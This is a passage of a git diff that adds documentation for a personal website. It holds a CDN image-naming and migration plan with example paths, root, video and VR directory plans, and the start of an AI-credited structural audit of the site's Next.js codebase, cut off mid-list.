+``` + +Context is freeform but descriptive. Encode whatever distinguishes the image: event, role, photographer, publication, outfit. + +### Examples + +``` +people/actors/winona-ryder/ + portrait.jpg + winona-ryder-1988-beetlejuice-press.jpg + winona-ryder-1994-reality-bites-behind-scenes.jpg + winona-ryder-1999-girl-interrupted-promo.jpg + winona-ryder-2019-met-gala-versace.jpg + winona-ryder-2022-stranger-things-s4-still.jpg + +people/actors/audrey-hepburn/ + portrait.jpg + audrey-hepburn-1961-breakfast-at-tiffanys-still.jpg + audrey-hepburn-1953-roman-holiday-press.jpg + +people/mathematicians/srinivasa-ramanujan/ + portrait.jpg + srinivasa-ramanujan-1919-passport-photo.jpg + +people/characters/rei-ayanami/ + portrait.jpg + rei-ayanami-plugsuit.jpg + rei-ayanami-rebuild-3.jpg +``` + +--- + +## Media + +``` +pics/media/{medium}/{slug}/ +``` + +### Mediums + +`film`, `anime`, `manga`, `tv`, `games`, `console`, `books`, `albums`, `ballet`, `plays`, `courses`, `lectures` + +### Canonical file + +`cover.jpg` -- the single cover image the site uses for this media item. + +### Variant naming + +``` +{slug}-{variant}.jpg +``` + +Variant describes the edition, release, region, or format. + +### Film slug convention + +Preserve the existing CDN basename convention when migrating film directories. Do not reorder filename parts just to match a new theoretical scheme. If the current path already uses `year-title-director`, keep that order in the new directory slug. If a collision requires disambiguation, add the missing year, director, edition, or other identifying context. + +### Albums + +Albums live under `media/albums/` nested by artist, then album directory. + +``` +pics/media/albums/{artist}/{artist}-{year}-{album}/ +``` + +Each album directory supports multiple cover variants. Artist photos (portraits, event shots) go in `pics/people/musicians/`, not here. Albums is strictly for album cover art. + +### Books + +Books collapse `literature` and `workbooks` into one medium. Do not subdivide by Library of Congress classification. + +``` +pics/media/books/{slug}/ +``` + +One cover per book. If you need multiple cover variants, the directory supports it like any other media item. Slugs should preserve the existing basename convention where possible. When more specificity is needed, use explicit parts such as year, author, title, translator, edition, or publisher. + +``` +media/books/1880-fyodor-dostoevsky-the-brothers-karamazov/ + cover.jpg +media/books/1603-william-shakespeare-hamlet/ + cover.jpg +media/books/1994-graham-knuth-patashnik-concrete-mathematics/ + cover.jpg +``` + +### Media examples + +``` +media/film/pulp-fiction-1994-quentin-tarantino/ + cover.jpg + pulp-fiction-1994-quentin-tarantino-criterion.jpg + pulp-fiction-1994-quentin-tarantino-japanese-theatrical.jpg + pulp-fiction-1994-quentin-tarantino-vhs-original.jpg + +media/film/girl-interrupted-1999-james-mangold/ + cover.jpg + girl-interrupted-1999-james-mangold-criterion.jpg + girl-interrupted-1999-james-mangold-uk-theatrical.jpg + +media/anime/serial-experiments-lain/ + cover.jpg + serial-experiments-lain-funimation.jpg + serial-experiments-lain-dvd-vol1.jpg + +media/manga/berserk/ + cover.jpg + berserk-vol1-dark-horse.jpg + +media/books/1880-fyodor-dostoevsky-the-brothers-karamazov/ + cover.jpg + +media/books/1994-graham-knuth-patashnik-concrete-mathematics/ + cover.jpg + +media/games/dark-souls/ + cover.jpg + dark-souls-japanese.jpg + dark-souls-prepare-to-die-edition.jpg + +media/albums/miles-davis/miles-davis-1959-kind-of-blue/ + cover.jpg + miles-davis-1959-kind-of-blue-mono-original.jpg + miles-davis-1959-kind-of-blue-mfsl-remaster.jpg + +media/albums/nas/nas-1994-illmatic/ + cover.jpg + nas-1994-illmatic-10th-anniversary.jpg +``` + +--- + +## Platform + +``` +pics/platform/{platform}/{user}/ +``` + +Profile images, exports, and screenshots from external platforms. + +### Examples + +``` +platform/mal/kris/ + profile.jpg +platform/mal/semaj/ + profile.jpg +``` + +--- + +## Kris + +``` +pics/kris/ +``` + +Personal photos. Not site assets (those live in `collections/krisyotam/`), not profile pictures (those live in `collections/pfps/`). This is real life. + +### Directories + +``` +kris/ + setups/ -- desk, battlestation, workspace photos + food/ -- cooking, meals, restaurants + screenshots/ -- screen captures, terminal output, high scores + life/ -- IRL photos by era + baby/ + kid/ + teen/ + 20s/ +``` + +### Naming + +Freeform. Use whatever describes the image. No strict convention needed for personal photos. + +### Examples + +``` +kris/setups/ + moirai-2025-quad-monitor.jpg + moirai-2026-cable-management.jpg + krislaptop-2024-couch.jpg + +kris/food/ + katsu-curry-2025-homemade.jpg + ramen-2026-ichiran.jpg + +kris/screenshots/ + dwm-rice-2025-pywal.png + htop-128gb-ram.png + +kris/life/baby/ + kris-baby-01.jpg +kris/life/kid/ + kris-kid-01.jpg +kris/life/teen/ + kris-teen-01.jpg +kris/life/20s/ + kris-20s-01.jpg +``` + +--- + +## Collections + +``` +pics/collections/{collection-name}/ +``` + +Anything that is a finite, novelty, or archival set -- not a real-world ever-expanding category. Magazine archives, meme sets, badge walls, emoji packs, profile picture sets, iceberg charts, bookstore photos, etc. + +### Naming within collections + +Use whatever scheme fits the collection. The collection directory name should be self-explanatory. + +### Examples + +``` +collections/anime-girls-with-programming-books/ + (preserves existing subdirectory structure) + +collections/blinkies/ + anime-fan.gif + linux-user.gif + ... + +collections/discord-emojis/ + catjam.gif + pepe-coffee.png + ... + +collections/pfps/ + brand/ + krisyotam-dark.png + krisyotam-light.png + human/ + kris-2024-studio.jpg + +collections/icebergs/ + anime-manga/ + anime-iceberg-v3.jpg + conspiracy/ + conspiracy-iceberg.jpg + movies/ + film-iceberg.jpg + music/ + music-iceberg-2024.jpg + ... + +collections/bookstores/ + powell-books-portland.jpg + shakespeare-and-company-paris.jpg + ... + +collections/setups/ + developers/ + ... + writers/ + ... + gamers/ + ... + +collections/os/ + bsd/ + ... + linux/ + ... + plan9/ + ... + +collections/wallpapers/ + ... + +collections/art/ + ancient/ (pre-500 CE) + {artist}/ + {artist}-{year}-{title}.jpg + medieval/ (500-1400) + {artist}/ + {artist}-{year}-{title}.jpg + renaissance/ (1400-1600) + sandro-botticelli/ + sandro-botticelli-1485-the-birth-of-venus.jpg + leonardo-da-vinci/ + leonardo-da-vinci-1503-mona-lisa.jpg + michelangelo/ + michelangelo-1512-the-creation-of-adam.jpg + baroque/ (1600-1750) + caravaggio/ + caravaggio-1601-the-conversion-of-saint-paul.jpg + johannes-vermeer/ + johannes-vermeer-1665-girl-with-a-pearl-earring.jpg + rembrandt/ + rembrandt-1642-the-night-watch.jpg + romantic/ (1750-1870) + eugene-delacroix/ + eugene-delacroix-1830-liberty-leading-the-people.jpg + caspar-david-friedrich/ + caspar-david-friedrich-1818-wanderer-above-the-sea-of-fog.jpg + impressionist/ (1860-1910) + claude-monet/ + claude-monet-1872-impression-sunrise.jpg + edgar-degas/ + edgar-degas-1874-the-dance-class.jpg + mary-cassatt/ + mary-cassatt-1893-the-childs-bath.jpg + modern/ (1900-1970) + pablo-picasso/ + pablo-picasso-1937-guernica.jpg + edward-hopper/ + edward-hopper-1942-nighthawks.jpg + frida-kahlo/ + frida-kahlo-1939-the-two-fridas.jpg + contemporary/ (1970-present) + jean-michel-basquiat/ + jean-michel-basquiat-1982-untitled-skull.jpg + david-hockney/ + david-hockney-1967-a-bigger-splash.jpg + +collections/magazine/ + cahiers-du-cinema/ + cahiers-du-cinema-1951-04.jpg + cahiers-du-cinema-1951-05.jpg + ... + juxtapoz/ + juxtapoz-2020-01.jpg + juxtapoz-2020-03.jpg + ... + wired/ + wired-1993-01.jpg + ... + +collections/consoles/ + nintendo/ + nintendo64/ + nintendo64-1996-japan.jpg + nintendo64-1996-north-america.jpg + gamecube/ + gamecube-2001-japan.jpg + switch/ + switch-2017-north-america.jpg + sony/ + playstation/ + playstation-1994-japan.jpg + playstation2/ + playstation2-2000-japan.jpg + sega/ + genesis/ + genesis-1988-japan.jpg + dreamcast/ + dreamcast-1998-japan.jpg + microsoft/ + xbox/ + xbox-2001-north-america.jpg + +collections/krisyotam/ + logos/ + krisyotam.png + krisyotam-cursive.jpg + laelcorp.png + lael-trust.png + lydia-press.png + content/ + blog/ + {slug}/ + ... + essays/ + {slug}/ + ... + notes/ + {slug}/ + ... + verse/ + {slug}/ + ... + fiction/ + {slug}/ + ... + papers/ + {slug}/ + ... + sequences/ + {slug}/ + ... + news/ + {slug}/ + ... + ocs/ + {slug}/ + ... + notebooks/ + srinivasa-ramanujan/ + ramanujan-notebook-page.jpg + rms-titanic/ + titanic-bow-photo.jpg + reference/ + pentagram.png + research/ + a-discrete-iteration-related-to-pierce-expansions.png + shop/ + juvenilia-collected-early-works.jpg + +collections/symbols/ + fraternities/ + sigma-pi-phi.png + paternities/ + ... + secret-societies/ + ... + movements/ + ... + logos/ + ... + ... + +collections/logos/ + studios/ + ghibli.avif + mappa.avif + gainax.avif + bones.avif + a-1-pictures.png + ... + platforms/ + leetcode.png + hackthebox.jpg + tryhackme.webp + exercism.png + ... + +collections/criterion-spines/ + 001-grand-illusion.jpg + 002-seven-samurai.jpg + ... + +--- + +## Migration sources + +Migration work happens in a cloned route, not the live route. Clone `/mnt/storage/cdn` to a new working tree such as `/mnt/storage/new-cdn` or `/mnt/storage/cdn-next`, rebuild the new structure there, and leave the live `/mnt/storage/cdn` untouched until all URLs and dependent databases are updated and validated. + +Build one authoritative migration manifest before moving files. The manifest should include, for each file: + +- `old_path` +- `new_path` +- `old_url` +- `new_url` +- content hash +- file size +- image dimensions when applicable +- duplicate group when applicable +- canonical status (`cover.jpg`, `portrait.jpg`, `profile.jpg`, or variant) +- references found in `krisyotam.com`, `lit/content`, and `photos.krisyotam.com` + +Canonical file selection is deterministic: the current referenced image wins by default. If `krisyotam.com`, `lit/content`, or `photos.krisyotam.com` currently points at an image for an entity, that file becomes `cover.jpg`, `portrait.jpg`, or `profile.jpg`. Extra images become variants. If multiple referenced images compete for the same canonical slot, flag the conflict for manual review. + +- `images/people/` -> `pics/people/` (flat files become directories) +- `photos/people/` -> `pics/people/` (deduplicate; current referenced canonical wins) +- `images/film/` -> `pics/media/film/` (flat files become directories) +- `images/anime/posters/` -> `pics/media/anime/` +- `images/manga/posters/` -> `pics/media/manga/` +- `photos/covers/{medium}/` -> `pics/media/{medium}/` +- `images/media/covers/` -> `pics/media/` (sort by medium) +- `images/media/favorites/` -> `pics/media/` (sort by medium) +- `images/media/movies/` -> `pics/media/film/` +- `images/media/posters/` -> `pics/media/` (sort by medium) +- `images/artists/` -> `pics/people/musicians/` (music artist photos) +- `photos/artists/` -> `pics/people/musicians/` +- `images/notebooks/` -> `pics/collections/krisyotam/notebooks/` +- `images/logos/krisyotam/` -> `pics/collections/krisyotam/logos/` +- `images/logos/anime/` -> `pics/collections/logos/studios/` +- `images/logos/company/` -> `pics/collections/logos/platforms/` +- `images/logos/manga/` -> delete (empty) +- `images/logos/fraternity/` -> `pics/collections/symbols/fraternities/` +- `images/icebergs/` -> `pics/collections/icebergs/` +- `images/pfps/` -> `pics/collections/pfps/` +- `photos/PFPs/` -> `pics/collections/pfps/` +- `images/blinkies/` -> `pics/collections/blinkies/` +- `images/discord-emojis/` -> `pics/collections/discord-emojis/` +- `images/anime-girls-with-programming-books/` -> `pics/collections/anime-girls-with-programming-books/` +- `images/bookstores/` -> `pics/collections/bookstores/` +- `images/reference/` -> `pics/collections/krisyotam/reference/` +- `images/research/` -> `pics/collections/krisyotam/research/` +- `images/shop/` -> `pics/collections/krisyotam/shop/` +- `images/content/` -> `pics/collections/krisyotam/content/` +- `images/mal/` -> `pics/platform/mal/` +- `photos/media/` -> `pics/media/` (sort by medium) +- `photos/covers/` -> `pics/media/` (sort by medium) +- `photos/icebergs/` -> `pics/collections/icebergs/` +- `photos/logos/krisyotam/` -> `pics/collections/krisyotam/logos/` +- `photos/logos/anime/` -> `pics/collections/logos/studios/` +- `photos/logos/company/` -> `pics/collections/logos/platforms/` +- `photos/logos/fraternity/` -> `pics/collections/symbols/fraternities/` +- `photos/characters/` -> `pics/people/characters/` +- `photos/bookstores/` -> `pics/collections/bookstores/` +- `photos/reference/` -> `pics/collections/krisyotam/reference/` +- `photos/research/` -> `pics/collections/krisyotam/research/` +- `photos/shop/` -> `pics/collections/krisyotam/shop/` +- `photos/content/` -> `pics/collections/krisyotam/content/` +- `photos/Misc/88x31/` -> `pics/collections/88x31/` +- `photos/Misc/blinkies/` -> `pics/collections/blinkies/` +- `photos/Misc/discord-emojis/` -> `pics/collections/discord-emojis/` +- `photos/Misc/mal/` -> `pics/platform/mal/` +- `images/playlist/` -> delete (scrapped) + +--- + +## Full tree + +``` +pics/ +| ++-- people/ +| +-- actors/ +| | +-- winona-ryder/ +| | | +-- portrait.jpg +| | | +-- winona-ryder-1988-beetlejuice-press.jpg +| | | +-- winona-ryder-2019-met-gala-versace.jpg +| | +-- audrey-hepburn/ +| | | +-- portrait.jpg +| | | +-- audrey-hepburn-1961-breakfast-at-tiffanys-still.jpg +| | +-- denzel-washington/ +| | +-- portrait.jpg +| +-- artists/ +| | +-- frida-kahlo/ +| | | +-- portrait.jpg +| | +-- jean-michel-basquiat/ +| | +-- portrait.jpg +| +-- authors/ +| | +-- fyodor-dostoevsky/ +| | | +-- portrait.jpg +| | +-- franz-kafka/ +| | +-- portrait.jpg +| +-- ballerinas/ +| | +-- misty-copeland/ +| | +-- portrait.jpg +| +-- characters/ +| | +-- lisa-rowe/ +| | | +-- portrait.jpg +| | +-- hannibal-lecter/ +| | | +-- portrait.jpg +| | +-- rei-ayanami/ +| | | +-- portrait.jpg +| | | +-- rei-ayanami-plugsuit.jpg +| | +-- spike-spiegel/ +| | +-- portrait.jpg +| +-- designers/ +| | +-- dieter-rams/ +| | +-- portrait.jpg +| +-- mathematicians/ +| | +-- srinivasa-ramanujan/ +| | | +-- portrait.jpg +| | | +-- srinivasa-ramanujan-1919-passport-photo.jpg +| | +-- emmy-noether/ +| | +-- portrait.jpg +| +-- musicians/ +| | +-- miles-davis/ +| | | +-- portrait.jpg +| | | +-- miles-davis-1959-kind-of-blue-session.jpg +| | +-- bjork/ +| | +-- portrait.jpg +| +-- philosophers/ +| | +-- simone-weil/ +| | | +-- portrait.jpg +| | +-- ludwig-wittgenstein/ +| | +-- portrait.jpg +| +-- poets/ +| +-- sylvia-plath/ +| | +-- portrait.jpg +| +-- rainer-maria-rilke/ +| +-- portrait.jpg +| ++-- media/ +| +-- film/ +| | +-- pulp-fiction-1994-quentin-tarantino/ +| | | +-- cover.jpg +| | | +-- pulp-fiction-1994-quentin-tarantino-criterion.jpg +| | | +-- pulp-fiction-1994-quentin-tarantino-vhs-original.jpg +| | +-- eyes-without-a-face-1960-georges-franju/ +| | | +-- cover.jpg +| | | +-- eyes-without-a-face-1960-georges-franju-criterion.jpg +| | +-- girl-interrupted-1999-james-mangold/ +| | +-- cover.jpg +| +-- anime/ +| | +-- serial-experiments-lain/ +| | +-- cover.jpg +| | +-- serial-experiments-lain-funimation.jpg +| +-- manga/ +| | +-- berserk/ +| | +-- cover.jpg +| | +-- berserk-vol1-dark-horse.jpg +| +-- tv/ +| | +-- twin-peaks/ +| | +-- cover.jpg +| +-- books/ +| | +-- 1880-fyodor-dostoevsky-the-brothers-karamazov/ +| | | +-- cover.jpg +| | +-- 1994-graham-knuth-patashnik-concrete-mathematics/ +| | | +-- cover.jpg +| | +-- 1603-william-shakespeare-hamlet/ +| | +-- cover.jpg +| +-- albums/ +| | +-- miles-davis/ +| | | +-- miles-davis-1959-kind-of-blue/ +| | | +-- cover.jpg +| | | +-- miles-davis-1959-kind-of-blue-mono-original.jpg +| | +-- nas/ +| | +-- nas-1994-illmatic/ +| | +-- cover.jpg +| +-- games/ +| | +-- dark-souls/ +| | +-- cover.jpg +| +-- console/ +| +-- ballet/ +| +-- plays/ +| +-- courses/ +| +-- lectures/ +| ++-- platform/ +| +-- mal/ +| +-- kris/ +| | +-- profile.jpg +| +-- semaj/ +| +-- profile.jpg +| ++-- kris/ +| +-- setups/ +| | +-- moirai-2025-quad-monitor.jpg +| | +-- moirai-2026-cable-management.jpg +| +-- food/ +| | +-- katsu-curry-2025-homemade.jpg +| +-- screenshots/ +| | +-- dwm-rice-2025-pywal.png +| +-- life/ +| +-- baby/ +| | +-- kris-baby-01.jpg +| +-- kid/ +| | +-- kris-kid-01.jpg +| +-- teen/ +| | +-- kris-teen-01.jpg +| +-- 20s/ +| +-- kris-20s-01.jpg +| ++-- collections/ +| +-- anime-girls-with-programming-books/ +| | +-- Haskell/ +| | | +-- haskell-01.jpg +| | +-- Rust/ +| | | +-- rust-01.jpg +| | +-- ... +| +-- blinkies/ +| | +-- anime-fan.gif +| | +-- linux-user.gif +| +-- discord-emojis/ +| | +-- catjam.gif +| | +-- pepe-coffee.png +| +-- pfps/ +| | +-- brand/ +| | | +-- krisyotam-dark.png +| | +-- human/ +| | +-- kris-2024-studio.jpg +| +-- icebergs/ +| | +-- anime-manga/ +| | | +-- anime-iceberg-v3.jpg +| | +-- movies/ +| | | +-- film-iceberg.jpg +| | +-- music/ +| | +-- conspiracy/ +| | +-- ... +| +-- bookstores/ +| | +-- powell-books-portland.jpg +| | +-- shakespeare-and-company-paris.jpg +| +-- setups/ +| | +-- developers/ +| | +-- writers/ +| | +-- gamers/ +| +-- os/ +| | +-- bsd/ +| | +-- linux/ +| | +-- plan9/ +| +-- wallpapers/ +| +-- art/ +| | +-- ancient/ +| | +-- medieval/ +| | +-- renaissance/ +| | | +-- sandro-botticelli/ +| | | | +-- sandro-botticelli-1485-the-birth-of-venus.jpg +| | | +-- leonardo-da-vinci/ +| | | +-- leonardo-da-vinci-1503-mona-lisa.jpg +| | +-- baroque/ +| | | +-- johannes-vermeer/ +| | | +-- johannes-vermeer-1665-girl-with-a-pearl-earring.jpg +| | +-- romantic/ +| | +-- impressionist/ +| | | +-- claude-monet/ +| | | +-- claude-monet-1872-impression-sunrise.jpg +| | +-- modern/ +| | | +-- edward-hopper/ +| | | +-- edward-hopper-1942-nighthawks.jpg +| | +-- contemporary/ +| +-- 88x31/ +| | +-- krisyotam.gif +| | +-- archlinux.gif +| +-- consoles/ +| | +-- nintendo/ +| | | +-- nintendo64/ +| | | | +-- nintendo64-1996-japan.jpg +| | | +-- gamecube/ +| | +-- sony/ +| | | +-- playstation/ +| | | +-- playstation2/ +| | +-- sega/ +| | +-- microsoft/ +| +-- magazine/ +| | +-- cahiers-du-cinema/ +| | | +-- cahiers-du-cinema-1951-04.jpg +| | +-- juxtapoz/ +| | | +-- juxtapoz-2020-01.jpg +| | +-- wired/ +| +-- symbols/ +| | +-- fraternities/ +| | | +-- sigma-pi-phi.png +| | +-- paternities/ +| | +-- secret-societies/ +| | +-- movements/ +| | +-- logos/ +| | +-- alchemical/ +| | | +-- alchemical-gold.png +| | | +-- alchemical-antimony.png +| | +-- religious/ +| | | +-- pentagram.png +| +-- logos/ +| | +-- studios/ +| | | +-- ghibli.avif +| | | +-- mappa.avif +| | | +-- gainax.avif +| | +-- platforms/ +| | | +-- leetcode.png +| | | +-- hackthebox.jpg +| | | +-- tryhackme.webp +| +-- krisyotam/ +| | +-- logos/ +| | | +-- krisyotam.png +| | | +-- krisyotam-cursive.jpg +| | | +-- laelcorp.png +| | | +-- lydia-press.png +| | +-- content/ +| | | +-- blog/ +| | | | +-- some-post-slug/ +| | | | +-- hero.jpg +| | | +-- essays/ +| | | | +-- some-essay-slug/ +| | | | +-- figure-1.jpg +| | | +-- sequences/ +| | | | +-- some-sequence-slug/ +| | | | +-- cover.jpg +| | | +-- verse/ +| | | +-- fiction/ +| | | +-- papers/ +| | | +-- notes/ +| | | +-- news/ +| | | +-- ocs/ +| | +-- notebooks/ +| | | +-- srinivasa-ramanujan/ +| | | | +-- ramanujan-notebook-page.jpg +| | | +-- rms-titanic/ +| | | +-- titanic-bow-photo.jpg +| | +-- reference/ +| | | +-- pentagram.png +| | +-- research/ +| | | +-- a-discrete-iteration-related-to-pierce-expansions.png +| | +-- shop/ +| | +-- juvenilia-collected-early-works.jpg +| +-- criterion-spines/ +| +-- 001-grand-illusion.jpg +| +-- 002-seven-samurai.jpg +``` diff --git a/doc/files/cdn/root.md b/doc/files/cdn/root.md new file mode 100644 index 0000000000000000000000000000000000000000..6de3740ab99cb890e8853389cf4c1c3e9feba0a3 --- /dev/null +++ b/doc/files/cdn/root.md @@ -0,0 +1,56 @@ +# CDN Root Directory Plan + +Current top-level directories and their fate. + +## Renames and merges + +| Current | Action | New name | Notes | +|---------|--------|----------|-------| +| `images/` | rename | `pics/` | primary image tree, absorbs `photos/` | +| `photos/` | merge into `pics/` | -- | duplicate of images/, eliminated | +| `video/` | rename | `vids/` | | +| `mp3s/` | merge into `audio/` | -- | loose mp3s folded into audio tree | +| `stills/` | delete | -- | empty | +| `posts/` | delete | -- | empty | +| `art/` | delete | -- | empty | +| `wallpapers/` | merge into `pics/collections/wallpapers/` | -- | finite image set, belongs in collections | +| `cover/` | review | -- | contains only `sequences/`, may fold into `assets/covers/` | + +## Moving out of CDN + +| Current | Action | Notes | +|---------|--------|-------| +| `archive/` | move elsewhere | standalone archive route, not CDN content | +| `git/` | move elsewhere | stagit output for krisyotam.com, not CDN content | +| `git-edu/` | move elsewhere | stagit output for edu site, not CDN content | +| `deep-research/` | move elsewhere | static site (OpenAI Deep Research HTML pages), not CDN content. Has its own nginx route. | + +## Kept as-is + +| Directory | Purpose | +|-----------|---------| +| `assets/` | site assets (covers, bundles, logos, ornaments, stickers, 404) | +| `audio/` | audio files by content type (absorbs mp3s/) | +| `fonts/` | web fonts and dropcap originals | +| `games/` | game files | +| `iso/` | ISO images | +| `vr/` | VR assets (vrchat, vroid) | + +## Final root after cleanup + +``` +/cdn/ + assets/ + audio/ + fonts/ + games/ + iso/ + pics/ + vids/ + vr/ +``` + +## Open questions + +1. `cover/` has a `sequences/` subdir -- merge into `assets/covers/sequences/` or into `pics/`? +2. Where should `git/`, `git-edu/`, and `deep-research/` move to? (e.g. `~/sites/`, `~/projects/`, separate home dirs?) diff --git a/doc/files/cdn/video.md b/doc/files/cdn/video.md new file mode 100644 index 0000000000000000000000000000000000000000..d9704c2b31ec2d78184632efda9f66d2e803dce0 --- /dev/null +++ b/doc/files/cdn/video.md @@ -0,0 +1,17 @@ +# vids/ + +Video files. + +## Current structure + +``` +video/ + jiang-xueqin/ + the-story-of-civilization/ + movies/ + tv/ +``` + +## Migration + +`video/` is renamed to `vids/` in the reconstructed CDN route. The root plan is canonical for this directory. diff --git a/doc/files/cdn/vr.md b/doc/files/cdn/vr.md new file mode 100644 index 0000000000000000000000000000000000000000..8d04cb39d763c5d92c4963c58f9a4af1c07ee45a --- /dev/null +++ b/doc/files/cdn/vr.md @@ -0,0 +1,12 @@ +# vr/ + +VR assets. + +## Current contents + +- `vrchat/` +- `vroid/` + +## Status + +No changes planned. diff --git a/doc/files/claudeAudit.md b/doc/files/claudeAudit.md new file mode 100644 index 0000000000000000000000000000000000000000..b7c27ceb38f8bc85fe0e75ccd3121d125c0c888e --- /dev/null +++ b/doc/files/claudeAudit.md @@ -0,0 +1,420 @@ +# Claude Structural Audit: krisyotam.com + +**Date:** 2026-05-19 +**Scope:** Full codebase structural analysis (875 source files, ~51K lines) +**Goal:** Identify structural issues blocking the August lean-codebase target + +--- + +## Executive Summary + +The site is a well-built Next.js 16 app with solid fundamentals (strict TypeScript, no circular deps, consistent imports, proper SQL parameterization). The main structural problems are: + +1. **Monolithic files** - 20+ files over 300 lines, 2 over 1000 lines +2. **Copy-paste route patterns** - tracking routes (anime/film/tv/manga/games) are near-identical +3. **Mixed database paradigms** - SQLite everywhere except analytics (Neon Postgres) and one rogue singleton +4. **31 dead exports** in lib/ never imported anywhere +5. **No error boundaries** - zero error.tsx files in the entire app +6. **Font bloat** - 16MB of fonts across 10+ families, many likely unused + +--- + +## 1. App Router Structure + +**Stats:** 79 pages, 27 API routes, 8 route groups + +### 1.1 Empty Route Groups (delete or populate) + +| Group | Status | +|-------|--------| +| `(info)` | Completely empty | +| `(media)` | Completely empty | +| `(updates)` | Has layout.tsx + CSS but zero routes | + +### 1.2 Copy-Paste Tracking Routes + +The tracking section has 5 near-identical page patterns: + +- `(tracking)/anime/` + `anime/watched/` +- `(tracking)/film/` + `film/watched/` +- `(tracking)/tv/` + `tv/watched/` +- `(tracking)/games/` + `games/played/` +- `(tracking)/manga/` + `manga/read/` + +Each has its own layout.tsx (12 lines, identical structure), its own API route, its own client component. The pages differ only in data source and field names. This is the single biggest structural redundancy. + +**Fix:** Generic `(tracking)/[medium]/` dynamic route + shared layout + consolidated API at `/api/tracking/[medium]/`. + +### 1.3 Duplicate Navigation Routes + +- `/categories` (nav group) vs `/(content)/[type]/categories` (per-content-type) +- `/tags` (nav group) vs `/(content)/[type]/tags` +- `sequences/categories/page.tsx` (58 lines) vs `sequences/category/page.tsx` (26 lines, empty placeholder) + +### 1.4 Oversized Route Files (>300 lines) + +| File | Lines | Issue | +|------|-------|-------| +| `api/system/utils/route.ts` | 762 | Kitchen-sink endpoint, needs splitting | +| `(misc)/stats/client.tsx` | 729 | Heavy viz logic mixed with UI | +| `(misc)/colophon/client.tsx` | 520 | Could extract sections | +| `(misc)/guestbook/client.tsx` | 474 | Form + display + interactions | +| `api/tracking/reading/route.ts` | 449 | Complex aggregation | +| `(content)/sequences/client.tsx` | 387 | Sequence browser | +| `(nav)/search/client.tsx` | 351 | Search interface | +| `(misc)/contact/client.tsx` | 347 | Contact form | +| `(tracking)/globe/client.tsx` | 345 | Map viz | +| `api/reference/route.ts` | 318 | Reference data | +| `(misc)/symbols/client.tsx` | 305 | Symbol display | + +### 1.5 7 Identical Tracking Layouts + +These are copy-paste identical (import CSS, wrap in `<div className="py-8">`): +- `(tracking)/anime/layout.tsx` +- `(tracking)/film/layout.tsx` +- `(tracking)/tv/layout.tsx` +- `(tracking)/manga/layout.tsx` +- `(tracking)/games/layout.tsx` +- `(tracking)/globe/layout.tsx` +- `(tracking)/reading/layout.tsx` + +**Fix:** Single `(tracking)/layout.tsx` with shared styles. + +### 1.6 API Route Redundancy + +Tracking API routes follow identical patterns: +- `/api/tracking/anime/route.ts` (166 lines) +- `/api/tracking/film/route.ts` (150 lines) +- `/api/tracking/tv/route.ts` (187 lines) +- `/api/tracking/manga/route.ts` (169 lines) +- `/api/tracking/media/route.ts` (146 lines) + +All query media-db.ts with slightly different table names. Could be one parameterized route. + +--- + +## 2. Components + +**Stats:** 152 files, 23,057 lines, 25 directories + +### 2.1 Monolithic Components (must split) + +| File | Lines | What's Inside | +|------|-------|---------------| +| `media/reading/reading.tsx` | 1,589 | 9+ distinct sub-components, data fetching, state, rendering | +| `interactive/survey.tsx` | 1,220 | Form state, validation, conditional rendering, answer tracking | +| `content/404-block.tsx` | 756 | Multiple error page patterns | +| `content/sequence.tsx` | 686 | Parsing + rendering + styling + fetch | +| `seo/print.tsx` | 602 | Print layout + styling logic | +| `content/verse.tsx` | 584 | Verse display + formatting | +| `interactive/popups.tsx` | 531 | Modal manager | + +### 2.2 Data Fetching in UI Components (19 files) + +These components mix presentation with data fetching -- should accept data as props or use server components: + +- `media/reading/reading.tsx` - fetches reading data +- `content/sequence.tsx` - fetches code sequences +- `content/404-block.tsx` - fetches error data +- `content/feed-shared.tsx` - fetches feed updates +- `content/scripts.tsx` - fetches script content +- `content/graph.tsx` - fetches graph data +- `interactive/popups.tsx` - fetches popup data +- `layout/header.tsx` - fetches header content +- `layout/footer.tsx` - fetches footer data +- `home/about/InterestingPeople.tsx` - fetches people data +- `home/HomeGitHubContributions.tsx` - GitHub API calls +- `home/ListHeader.tsx` - fetches quote data +- `nav/search-overlay.tsx` - search API calls +- `nav/settings-panel.tsx` - loads settings +- `pages/quotes/infiniteMovingQuotes.tsx` - fetches quotes +- `pages/quotes/quoteOfTheDay.tsx` - fetches daily quote +- `home/about/WordOfTheDay.tsx` - fetches daily word +- `home/about/Favorites.tsx` - loads favorites +- `typography/1611bible.tsx` - fetches bible data + +### 2.3 Overlapping Components + +**10 card variants:** +- `ui/card.tsx`, `ui/glowCard.tsx`, `ui/glowCardGrid.tsx`, `ui/hover-card.tsx` +- `content/PaginatedCardGrid.tsx`, `content/mediaCard.tsx` +- `pages/books/book-card.tsx`, `pages/predictions/prediction-card.tsx` +- `typography/quoteCard.tsx`, `home/PoetryCard.tsx` + +**3 header variants:** +- `layout/header.tsx` (432 lines) +- `layout/oc-header.tsx` (224 lines) +- `home/HomeHeader.tsx` (114 lines) + +**3 footer variants:** +- `layout/footer.tsx` (233 lines) +- `layout/global-footer.tsx` (92 lines) +- `typography/expanded-footer-block.tsx` (162 lines) + +**4 quote components:** +- `pages/quotes/quoteOfTheDay.tsx` +- `pages/quotes/quotesFeed.tsx` +- `pages/quotes/infiniteMovingQuotes.tsx` +- `typography/quoteCard.tsx` + +**2 duplicate named files:** +- `typography/footnotes.tsx` (58 lines) vs `content/footnotes.tsx` (141 lines) +- `typography/table.tsx` vs `content/table.tsx` (284 lines) + +### 2.4 Naming Inconsistency + +Mixed PascalCase and kebab-case within same directories: +- `home/` - `featured-post.tsx` alongside `HomeHeader.tsx` +- `home/about/` - `name-breakdown.tsx` alongside `InterestingPeople.tsx` +- `nav/` - `search-overlay.tsx` alongside `NeighborsOverlay.tsx` + +Convention from CLAUDE.md says **camelCase** for component filenames, but neither PascalCase nor kebab-case matches that. + +### 2.5 Misplaced Files + +- `contribution-graph.tsx` sits at components root, belongs in `home/` +- `rolls/` directory has a single file (326 lines), belongs in `interactive/` or `pages/` +- `changelog/` directory exists but is empty +- `media/anime/` directory exists but may be empty + +--- + +## 3. Lib / Data Layer + +**Stats:** 38 files in lib/, 7,468 lines total + +### 3.1 Dead Exports (31 functions never imported) + +**date.ts (10 dead):** +- `formatRelative`, `formatInCentralTime`, `getCurrentMonthYear`, `getCurrentYear` +- `isPast`, `isFuture`, `isToday`, `formatDateCompact`, `formatDateWithValidation`, `isValidDate` + +**lab-db.ts (6 dead):** +- `getSurveyResponses`, `getAllSurveyResponses`, `getSurveyResponseCount` +- `getAllSurveys`, `upsertSurvey`, 